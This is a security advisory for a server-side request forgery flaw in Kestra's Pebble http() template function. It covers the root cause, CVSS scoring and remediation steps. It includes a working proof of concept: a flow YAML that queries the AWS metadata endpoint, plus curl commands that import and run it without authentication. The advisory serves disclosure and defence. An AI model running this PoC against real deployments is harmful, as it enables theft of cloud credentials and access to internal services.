CVE-2026-73247: Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata
Summary The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.
Details The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):
1. No URL validation: User input is passed directly to URI.create() with no checks for private IPs, internal hosts, or restricted schemes 2. No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1 3. No scheme restriction: file://, gopher:// schemes are not blocked 4. No authentication required: TenantValidationFilter.java only checks tenant == "main" — no authentication 5. Unconditional registration: HttpFunction is registered without any feature flags in Extension.java:180
PoC Prerequisites: bash docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local sleep 30
Step 1: Create malicious Flow YAML yaml cat > /tmp/ssrfpoc.yaml << 'YAML' id: ssrfmetadata namespace: company.team tasks: - id: exfiltrate type: io.kestra.plugin.core.log.Log message: | {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }} YAML
Step 2: Import without authentication bash curl -X POST http://localhost:8080/api/v1/main/flows/import \ -F "fileUpload=@/tmp/ssrfpoc.yaml"
Step 3: Execute the flow bash curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrfmetadata
Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)
Impact - CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - CWE: CWE-918 (Server-Side Request Forgery) - Affected: All Kestra OSS versions (default deployment) - Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft
Other sources
Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/io.kestra:kestra-coreto a version that resolves this vulnerability.Fixed in 2.0.0 - Configuration
In core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106), validate the user-controlled http() uri input: reject private/loopback/link-local destinations (10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1) and block restricted schemes such as file:// and gopher:// before making the HTTP request.
Kestra OSS (Pebble http() / HttpFunction) URI scheme and destination validation = Block restricted schemes and private/internal targets before calling URI.create() and the server-side HTTP client - Configuration
Fix missing authentication: update TenantValidationFilter.java so flow import (and subsequent execution) requires authentication/authorization rather than only checking tenant == "main".
Kestra OSS (imports/flow execution authorization) Authentication/authorization for flow import = Require authentication (not just tenant == "main") - Configuration
In Extension.java:180, avoid unconditional registration of HttpFunction; guard it behind feature flags so deployments can disable the SSRF-capable http() function by default or for untrusted environments.
Kestra OSS (Extension.java) HttpFunction registration/feature flag = Enable conditional registration instead of unconditional HttpFunction registration - Compensating control
Add network egress filtering to block outbound requests from Kestra to private/loopback/link-local destinations and cloud metadata IPs (explicitly block 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, and 127.0.0.1) so SSRF via the Pebble http() function cannot reach internal services.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-73247?
CVE-2026-73247 has a high severity score of 8.6.
What kind of vulnerability is CVE-2026-73247?
CVE-2026-73247 is a server-side request forgery (SSRF) vulnerability.
How do I fix CVE-2026-73247?
To fix CVE-2026-73247, upgrade Kestra to version 2.0.0 or later.
What services are affected by CVE-2026-73247?
CVE-2026-73247 allows unauthenticated access to internal services and cloud metadata.
What does CVE-2026-73247 mean for Kestra users?
CVE-2026-73247 exposes Kestra users to risks associated with unauthorized access to sensitive internal resources.